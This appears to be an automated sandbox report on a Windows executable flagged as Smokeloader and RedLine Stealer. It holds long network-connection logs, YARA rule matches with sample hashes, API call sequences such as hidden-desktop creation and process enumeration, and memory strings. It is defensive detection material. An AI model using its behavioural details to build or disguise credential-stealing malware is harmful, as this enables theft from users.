Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814

Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49781 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.6:49788 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49844 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:49860 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.159.68:443 -> 192.168.2.6:49882 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49979 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.6:50013 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:50017 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:50018 version: TLS 1.2

Source: C:\Users\user\Desktop\I43xo3KKfS.exe

Code function: 0_2_00409E30 memset,wsprintfA,OpenDesktopA,CreateDesktopA,memset,lstrcatA,lstrcatA,lstrcatA,memset,lstrcpy,memset,CreateProcessA,Sleep,CloseDesktop,

0_2_00409E30

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000002.2466911293.00000000023B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000000.00000002.2466815767.0000000000990000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown

Source: C:\Users\user\Desktop\I43xo3KKfS.exe

Code function: 0_2_6D4B0DE0 NtWriteFile,WaitForSingleObject,RtlNtStatusToDosError,

0_2_6D4B0DE0

Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Code function: 0_2_6D4AED70	0_2_6D4AED70
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Code function: 0_2_6D499DF1	0_2_6D499DF1
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Code function: 0_2_6D49FDA0	0_2_6D49FDA0
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Code function: 0_2_6D475DB0	0_2_6D475DB0
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Code function: 0_2_6D4BEC60	0_2_6D4BEC60
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Code function: 0_2_6D4ACC11	0_2_6D4ACC11
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Code function: 0_2_6D4B5F20	0_2_6D4B5F20
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Code function: 0_2_6D498E00	0_2_6D498E00
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Code function: 0_2_6D48CEB0	0_2_6D48CEB0
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Code function: 0_2_6D4B390E	0_2_6D4B390E
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Code function: 0_2_6D49F8E0	0_2_6D49F8E0
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Code function: 0_2_6D49D8F0	0_2_6D49D8F0
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Code function: 0_2_6D4988A0	0_2_6D4988A0
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Code function: 0_2_6D4B4BC0	0_2_6D4B4BC0
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Code function: 0_2_6D4B8BE0	0_2_6D4B8BE0
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Code function: 0_2_6D47257C	0_2_6D47257C
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Code function: 0_2_6D4885E0	0_2_6D4885E0
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Code function: 0_2_6D4B15E0	0_2_6D4B15E0
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Code function: 0_2_6D4A1758	0_2_6D4A1758
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Code function: 0_2_6D48A700	0_2_6D48A700
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Code function: 0_2_6D4CD735	0_2_6D4CD735
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Code function: 0_2_6D4BA7D1	0_2_6D4BA7D1
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Code function: 0_2_6D4727E0	0_2_6D4727E0
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Code function: 0_2_6D4BE680	0_2_6D4BE680
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Code function: 0_2_6D476170	0_2_6D476170
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Code function: 0_2_6D49F1D0	0_2_6D49F1D0
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Code function: 0_2_6D4840D0	0_2_6D4840D0
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Code function: 0_2_6D4CF340	0_2_6D4CF340
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Code function: 0_2_6D4C13D6	0_2_6D4C13D6
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Code function: 0_2_6D4882C0	0_2_6D4882C0
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Code function: 0_2_6D4B2290	0_2_6D4B2290
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Code function: 0_2_61EAD2AC	0_2_61EAD2AC
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Code function: 0_2_61E4B8A1	0_2_61E4B8A1
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Code function: 0_2_61E75F1F	0_2_61E75F1F
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Code function: 0_2_61E40065	0_2_61E40065
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Code function: 0_2_61E9E24F	0_2_61E9E24F
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Code function: 0_2_61E5023C	0_2_61E5023C
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Code function: 0_2_61E62554	0_2_61E62554
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Code function: 0_2_61E4E4BF	0_2_61E4E4BF
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Code function: 0_2_61E7A790	0_2_61E7A790
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Code function: 0_2_61E18736	0_2_61E18736
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Code function: 0_2_61E86668	0_2_61E86668
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Code function: 0_2_61E58670	0_2_61E58670
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Code function: 0_2_61E10856	0_2_61E10856
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Code function: 0_2_61EA0BA9	0_2_61EA0BA9

Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Code function: String function: 00404610 appears 317 times
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Code function: String function: 6D4BD850 appears 91 times
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Code function: String function: 6D4C1380 appears 33 times
Source: C:\Users\user\Desktop\I43xo3KKfS.exe	Code function: String function: 6D4CFDB0 appears 38 times

Source: C:\Users\user\Desktop\I43xo3KKfS.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 4888 -s 1888

Source: I43xo3KKfS.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000000.00000002.2466911293.00000000023B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000000.00000002.2466815767.0000000000990000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12

Source: I43xo3KKfS.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@29/37@6/6

Source: C:\Users\user\Desktop\I43xo3KKfS.exe

Code function: 0_2_00418810 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

0_2_00418810

Source: C:\Users\user\Desktop\I43xo3KKfS.exe

Code function: 0_2_00413970 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_00413970

Source: C:\Users\user\Desktop\I43xo3KKfS.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\A98AV49P.htm

Jump to behavior

Source: C:\Windows\SysWOW64\WerFault.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess4888

Source: C:\Windows\SysWOW64\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\725a643a-e3f7-420f-b350-beb4bfbf81d9

Jump to behavior

Source: I43xo3KKfS.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\I43xo3KKfS.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: I43xo3KKfS.exe, 00000000.00000002.2481798898.000000001AF66000.00000004.00000020.00020000.00000000.sdmp, I43xo3KKfS.exe, 00000000.00000002.2484776536.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: I43xo3KKfS.exe, 00000000.00000002.2481798898.000000001AF66000.00000004.00000020.00020000.00000000.sdmp, I43xo3KKfS.exe, 00000000.00000002.2484776536.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: I43xo3KKfS.exe, 00000000.00000002.2481798898.000000001AF66000.00000004.00000020.00020000.00000000.sdmp, I43xo3KKfS.exe, 00000000.00000002.2484776536.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: chrome.exe, 00000003.00000002.2334708280.000061440066C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE psl_extensions (domain VARCHAR NOT NULL, UNIQUE (domain));
Source: I43xo3KKfS.exe, 00000000.00000002.2481798898.000000001AF66000.00000004.00000020.00020000.00000000.sdmp, I43xo3KKfS.exe, 00000000.00000002.2484776536.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: I43xo3KKfS.exe, 00000000.00000002.2481798898.000000001AF66000.00000004.00000020.00020000.00000000.sdmp, I43xo3KKfS.exe, 00000000.00000002.2484776536.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
